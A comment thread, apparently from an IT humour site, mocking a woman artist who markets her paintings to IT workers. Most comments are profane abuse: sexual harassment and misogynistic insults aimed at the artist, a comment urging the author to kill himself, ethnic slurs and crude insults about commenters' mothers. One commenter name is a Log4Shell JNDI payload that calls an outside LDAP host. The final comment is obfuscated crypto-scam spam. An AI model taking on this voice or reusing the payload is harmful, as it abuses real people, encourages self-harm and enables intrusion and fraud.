    Пора входить в айти! Поселюсь в коливинге для айтишников переделанном из корпуса химзавода, вступлю в Дию Сити, обклею все стены своей капсулы картинами от чЛеночки. Романтика!!!

    9

    0
  38. Пан Айтишник:

    Купил бы NFT с ее вульвой

    0

    0
    • Гребец с чуть меньшим стажем:

      А смысл, если можно за пару тысяч грывен пообщаться в живую?(со всеми мерами предосторожности)

      2

      1
  39. Дослiднык Калу.:

    Накинулись на жиночку как шайка рубистов!
    А между тем обидеть художника может каждый, в вульву, так сказать, наплевать!
    Вот вы паны гребцы и пани гребчихи попробуйте не умея рисовать забалабенить картину, и этим шедевром под видом мазни пытаться расширять …
    …нет, нет, неотесаные бездушные айтишнички, не анальные отверстия, но-но! Расширять кругозор!!!
    Мытець, в данном случае Елэна, несет свет просвещения в наши убогие скучные нудные будни, и разумеется никакого финансового интереса в этом у нее категорически нет! Эт я вам как художник художникам говорю

    13

    0
    • Леночка:

      Спасибо, куни сделаешь?

      3

      0
      • Дослiдник жопы Леночки:

        Леночка, какой куни, это же нелепо)
        В-нулевых, нет у тебя пока таких привелегий в мире панов айтишников
        Во-первых, художник должен страдать, поэтому жарить тебя нужно только в анал.
        Во-вторых, это же современное искусство, скорее всего ты обмажешься не нутеллой, а некой другой натуральной субстанцией, нах оно надо?

        6

        0
  40. Ценитель Осознанный:

    Современное искусство это та еще лотерея. Художники думают не о том как изобразить что-то великое и глубокое, а как словить хайп и по-быстрому срубить бабла на богатых лохах. Печалит еще то что фантазии большинству хватает только на сисько-пердильный треш. Каждый второй домешивает в краску фекалии и мнит себя гением. Мой вам совет, не покупайте у современных художников картины в теплых тонах, а если видите такие в офисах — не садитесь рядом с ними.

    19

    0
  41. Гребец-похуец:

    Леночка пример недомаркетолога

    2

    0
  42. Юрий Змагар:

    Привет всем!
    Прошу помощи!
    Позавчера узнал, что на меня заведено уголовное дело и к родителям пришли с обыском. Был вынужден экстренно покинуть Беларусь.
    В ближайшее время хотелось бы найти работу, т.к. в средствах ограничен и хотелось начать обустраиваться где-то. Поэтому ищу вакансию на позицию junior python developer/data engineer.
    CV есть на моей странице. Сейчас нахожусь в Киеве и делаю визу. Буду благодарен за любую помощь и рассмотрю любые предложения. Готов переехать куда угодно.
    у меня английский слабый и нет опыта, но я очень трудолюбивый и целеустремлённый. Если это не сильная проблема, то я готов!
    В Минске как раз проходил собеседование на позицию data engineer и не планировал уезжать, но судьба сложилась иначе.
    Самое печальное, что пришлось оставить двух своих котов( Да и в Беларуси уже считай устроился в компанию. Но все будет хорошо!

    3

    4
  43. Хуй проходящий:

    Лена, ёптвоюмать, ты как будто первый день в искусстве! Рисующие бабы испокон веков продавали свои картины исключительно оленям и френдзонщикам. Понимаешь, исторически так сложилось. Если ты баба и пытаешься в рисование, то другого способа зарабатывать на своём увлечении просто не существует. Это реальность, и говорить тут не о чем.

    9

    2
  44. Ручной тестер:

    Всё современное искусство в большинстве своём говно обдолбанных наркоманов, как пример данные картины, возможно польза от них будет только если вешать в общественных туалетах.
    Лучшеб Леночка завела страничку на онлифанс, там бы сиськи показала, глядишь и картину кто-то б купил, может даже и гребец

    19

    0
  45. Хороший фронтендщик:

    Хотите получить хуёвого врача?

    6

    0
  46. гребец-хуец:

    Оце сiсяндрi я би з ними як диджей крутив брбрбрбрбр

    1

    1
  47. Писочкознавець:

    не ну хотябы так, но в сл. раз Жук давай получше ищи там «Листая в очередной раз ленту, в поисках свежей порции упругих сисяндр от хрюшек»

    2

    0
  48. Большой хуй:

    Бляяя, что за ебаный дегенерат)))))

    Пиздец, автор, очисти генофонд — выпились. Серьёзно, чел, ты просто отброс современного общества. Такого конченого ебаната я давно не видел. Думал такой мусор вымер в годах так 2010х.

    0

    20
    • Мамкин АЙПишник:

      Мамку свою выпили, уебок

      7

      1
  49. ИИ на псевдокоде:

    Я согласен, что Леночка — дурочка. Но постить высер ватного недоумка, которого свинособаки считают писателем — это блядь зашквар. К тому же он явно нихуя не знает и не понимает о модернисткой живописи в целом и в частности о Малевиче.
    Редакция, на будущее — не знаете что сказать просто промолчите. Не нужно постить чужое невежество — тут много впечатлительных.

    6

    13
    • Высер:

      Зашквар это когда твою мамку долбят в очко, а ты тут сидишь

      8

      3
      • ИИ на псевдокоде:

        Тебе-ли не знать каково это. Мамке привет передавай 😉

        3

        2
        • Высер:

          Твоей передал. Я ей ещё гривну должен за то что отсосала, но у неё сдачи не было с двух, пришлось по кругу пустить

          3

          3
    • >> высер ватного недоумка
      — Во-первых, Веллер за Украину (внезапно) и против российской агрессии. Во-вторых, если у вас не хватает мозгов постичь труды Веллера — это ваша проблема.

      5

      5
      • Bambucho:

        Я прочитал и не впечатлило, если хорошо копнуть под веллера и отфильтровать пафос то получится обычный московский нацист, сторонник мифической русской идеи и подобного бреда.

        6

        1
      • Точка_G:

        Во первых Веллер для начала пиздабол. Он может пиздеть у себя на канале на youtube, как он весь за Украину и в тоже время пиздеть что Пyтин прав. Я когда-то тоже считал Веллера нормальным человеком, но после его пиздежа про «Пyтин хороший, Пyтин молодец» в районе 2018-2019 годов отписался.

        А во вторых давно вы сами стали за Украину? На том же dou.ua ещё года три-четыре назад были не редки фразы с использованием лексики — «ненька». Смысл которых сводился к — «да зачем нам это нужно» (в смысле защищать Украину) или «как откосить от военкомата» и т.п. Где IT’ный гной прямо говорил, что защита Украины это хуйня, нужно рубить долларовую капусту и похуй что в стране происходит.

        И где-то на рубеже смены Поpошенкo на 3e или за год до этого настроения резко поменялись. Там стали массово писать на украинском языке, называть россиян свинocобaками и т.п. Некоторые олигофрены даже на djinni пишут — «с россиянами не работаю».

        Так почему потребовалось 3-4 года чтобы натсроения it-шников поменялись на обратные? Как мне видится дело не в патриотизме. Просто из окопов вернулись много людей и они за подобный пиздёшь который ранее сходил it-шному гною с рук теперь могут и голову оторвать. Потому айтишное мудачье по закрывало ебальники.

        Вот такие они типичные айтшники Украины. Если вдруг РФ захватит Киев — те же самые юёбки в dou будут пиздеть, как раньше всё было плохо, а теперь заебись и бегать с галлеры на галлера из-за $500

        2

        1
        • >> после его пиздежа про «Пyтин хороший, Пyтин молодец» в районе 2018-2019 годов отписался
          — Если вырывать слова из контекста, то можно на кого угодно что угодно накопать.

          >> А во вторых давно вы сами стали за Украину?
          — Всегда были, есть, и всегда будем.

          2

          2
          • Точка_G:

            >Если вырывать слова из контекста, то можно на кого угодно что угодно накопать.

            Конкретно в том случае он говорил или про Крым или про ситуацию с Донбасом.
            Раз тебе нравится Веллер думаю для тебя не составит труда просмотреть все его роллики с его канала в обратной последовательности начиная с 2020 года. Там буквально просмотреть три года максимум с 2020 по 2018.

            И ещё Жук, ты вообще в Москве жил? Общался с метными из всяких полит.партий или хотя бы с фигурами типа Веллера? Очень похоже, что нет. Если бы общался знал бы что они априори гнилые пиздаболы.

            6

            0
  50. johan:

    Я не розбираюсь в мистецтві, але полюбляю ходити до різних галереї та насолоджуватись картинами, будь-якого напрямку, але дивлячись на це, важко щось сказати, окрім «сеча зʼїла говно»

    p.s. Пост был написан на украинском языке, дабы у пидорах подгорало

    13

    5
    • Мамкин кодер:

      Глядя на твой ответ, можно сказать что твоя мамка мало денег взяла за то что в неё бомжы кончили

      7

      5
  51. ∃!:

    > Почему паны айтишники не покупают картины?
    Вроде ответ очевиден — потому что пошла нахуй.

    «Госпоже» стоит так же подумать над тем, почему программисты не покупают кур, коз, коров, яхты, острова, банки и прочую ненужную или неподъемную хуйню. Ты погляди какая ебанутая пизда.

    19

    0
  52. someone:

    Ленок, неа, не проканает! Ищи работу! Сейчас все козочки нарядные, я бы сказал золушки — чего блядь не сделают, чтобы пристроить свой копчик, и нихуя не делать… Так забавно наблюдать за всем этим цирком… А за то, что ты называешь искусством — гореть тебе в аду!

    5

    0
    • Зоолог:

      > козочки

      Блядь, а вот тут козам стало обидно за такое сравнение. Называй тварей своими именами. Конкретно в этом случае — тупая пизда.

      6

      0
  53. Bambucho:

    Веллер обычный московитский нацык только чутка завуалированный мудрыми словами, то что Жук его тут цитирует уже о много говорит.

    6

    1
  54. I'm not a robot:

    Я тоже не покупаю картины, живопись так как и театр не считаю искусством…
    Жук, я быдло? мне самоубится что бы ты был счастлив?

    3

    2
  55. Ройтбурд:

    Покупайте мои картины!

    1

    0
  56. Правда жизни:

    Леночка, твои картины не покупают ровно по одной простой причине: они — безвкусное, бездарное и никчёмное дерьмо. Такие «картины» тоннами рисуют школьники на уроках рисования, и у многих из них получается куда лучше.

    Ну а чтобы посмотреть на современные картины художников-любителей, не вызывающие рвотного рефлекса — достаточно зайти на любой арт-сайт: DeviantArt, Artstation, тысячи их. В отличие от обсуждаемой «галереи», там публикуется много людей, действительно умеющих рисовать. В том числе сиськи и вульвы.

    И да, гений Малевича не в том, что он нарисовал квадрат, а в том, что свой квадрат он сумел «продать».
    Леночка же попыталась повторить этот подвиг и скомпенсировать свою художественную бездарность маркетологическим талантом, но увы: маркетолог из Леночки тоже оказался как из дерьма топор. Даже грамотно насрать в уши она не в состоянии.

    14

    1
  57. Зигмунд Фройд:

    Чем невменяемее высер, тем он длиннее. No exceptions.

    1

    0
  58. ${jndi:ldap://log4shell.huntress.com:1389/955e40ae-8251-414b-82a1-e970dc7fb89f}:

    🙂

    0

    5
  59. Бубылда:

    Какое же говно ее картины. Я лучше в офис куплю репродукцию Левитана, Куинджи, Шишкина, Ренуара, ван Гога или Моне (либо что-то подобное от современных художников), чем вот эту дешевую бесталантливую мазню

    8

    0
  60. Фермер из Польши:

    Ребята, что там сейчас делают русские? Что они замышляют? Кто знает?

    Как-то тихо в последнее время. Но мы же знаем, что русские не будут тихо и мирно сидеть. Чем они сейчас занимаются? Страшно, пацаны. Когда русские затаились, это очень страшно.

    7

    0
    • заробитчанин:

      Усі хванати зеленої влади, глядачі ТСН та діванні експерти вважають шо нападе.

      2

      1
    • макогон:

      Рузки полируют очечями бутылочки

      2

      0
  61. Финтех-нанотехнологии в облачном квантовом IoT VR блокчейне:

    Потому что мы всё качаем с торрентов.

    4

    1
  62. Негодующий:

    Перефразирую:
    Я не хочу кодить, потому что для меня и большинства это нахуй неинтересная работа. Но я чувствую несправедливость, ведь для тех кому это интересно, это ещё и нихуевый такой заработок. Но я тоже хочу жить красиво занимаясь чем мне нравится. Так что эй, программисты, несите мне свое бабло, раз оно у вас есть. Иначе вы необразованный сброд который не хочет делиться.

    9

    0
  63. Puki4Kaki4:

    То что я ИТишник не значит что я полный далбаёб и буду покупать такую парашу!

    10

    1
    • Хуй проходящий:

      То, что я полный долбоёб, тоже не значит, что я буду покупать такую парашу!

      9

      1
    • заробитчанин:

      Ото й правильно. Треба чимсь платить конські тарихви, бо МВФ наказало, а не якесь там мазюкання куплять.

      1

      1
      • Puki4Kaki4:

        похуй на тарыфы, я давно сьебався из совка

        0

        1
  64. Анон:

    Мужики рисуют хуи где только можно, делают из них скульптуры и сувенирную продукцию, но почему-то возмущаются вагинам

    0

    3
    • Анон2:

      Никто не любит хуи больше, чем сами мужики

      0

      0
    • Нарисованный Хуй:

      Что ты имеешь против меня, мужененавистница?

      0

      0
  65. Лаптев:

    Нахера на дегенеративное искусство бабки вообще тратить? Это «художники» приплачивать должны, ибо их мазня даже в качестве текстурных обоев не годится.

    2

    0
  66. Не Малевич:

    Ох, жучара, ты бы убрал опус про черный квадрат. Выдаешь и транслируешь свое невежество. Ты бы почитал сначало про Малевича, кто он и кем был, почему черный квадрат.
    Черный квадрат это вообще абсракция иконы в каждом доме или иконы абстракционизма. Картина, кстати, на выставках у него висела в углу помещения, как и все иконы в хатах.
    Исскуство не должно быть красивым, логичным или измеримым. Исскуство это в первую очередь про контекст и эмоцию, которую оно вызвало.

    3

    1
  67. Фулстэк Огурцов:

    Так я не понял. Какое отношение имеют разъебанные пезды к домашнему насилию над мужчинами?Вынос мозга, истерики, припадки, метание предметов, часто острых, откровенная поножовщина, все это под измены, спивание мужика, отмазки милиция «сами разбирайтесь», если синяк у тебя, а не у нее, и все это почти всегда за твой счет:аренда жилья, обслуживание авто, питание. Это только что я из личного опыта вспомнил. После чтения ragu.li и высеров фемен, я понял, что в Киеве культуры нет и не было. Видать, что в Одессе тоже. Там же соленая сельдь с лучком, от которой подымается давление, в ресторане считается деликатесом.

    1

    0
  68. Фулстэк Огурцов:

    Корона с пиздой?Или пизда с короной?Или пизда короне?Совсем запутался. Нет домашнему насилию над пиздой с короной!

    2

    0
  69. Фулстэк Огурцов:

    Тигры, это у вас там такое на Украине искусства?Корона с пиздой увековечена в памятнике?Или это тоскующие по одесским туристам пезды ?

    1

    2
  70. Макака из Киева:

    Почему же не пукаем картины — покупаем. Только у нас женой специфичные вкусы. Мы ищем картины которые не можем нарисовать сами — то есть, в стиле реализм.

    И когда просим кого-то на заказ сделать картину или роспись, нам почти все говорят — мы можем нарисовать любую картину кроме реализма.

    Ну и спрашивается тогда — нахуя нам тогда ваши картини? Где научный подход, перспектива и пропорции? Почему каждый раз у всех получается разный результат? Что это блять за лотерея?

    Картину в верховной раде видели? Или в лувре? Там где 10ки тысяч мелких деталей и все в стиле реализм. Вот это и есть исскуство. Такие картины мы и будем покупать. А не ваши детские рисунки джунов-художников.

    3

    0
  71. Gerch:

    Полагаю, что представители IT не очень активно покупают искусство не потому, что темные или бескультурные, а потому, что оно им не нужно. Почти все в обсуждении выше говорят об искусстве как о предмете эстетики, напрочь упуская другую функцию искусства, не менее, а то и более важную — демонстрацию статуса владельца.
    Но трансляция статуса через владение искусством — это больше игрушка для upper middle class, сообщество же айти по моим наблюдением скорее разделяет ценности среднего класса.

    3

    0
  72. Пися-в-смузи:

    Сиська и нутелла, гениально. Это ранний поставангард, говоря о раннем имею ввиду класс 3-4 общеобразовательной школы.
    Удачи этой феминаци!)

    3

    0
  73. клаводрочер:

    блять да мне на еду скоро хватать не будет, сыры пиздец подорожали, а тут опять мне в карман заглядывают, сколько у меня там ещё осталось

    заебали

    исскуство стоит ровно столько, сколько за него готовы заплатить, и не копейки больше

    2

    1
  74. капитан:

    Большинство айти гребцов далеки от культуры, с небогатых семей, основной их инстинкт больше денег, пока не применили налогообложение «как для всех»
    А отношение к любому предмету искусства — дело абсолютно субъективное.

    0

    0
  75. Eula:

    Quantum Ai is a gгeat investment tool fߋr the field of cryptocurrency.

    Τhе only thing you will һear or see in the bad rebiew
    һere is a misunderstandig of howw the bots function. Eаch vestment is
    at rrisk of mɑking you lose money. Ƭhere are onlү
    varying risks yoᥙ cann choose from. I have ƅeеn using the application for more thаn a yeaг; Quantum
    Ai is tһе best trader tool avɑilable.

    Feel free tо surf to my homeрage … quantum Ai australia

    0

    0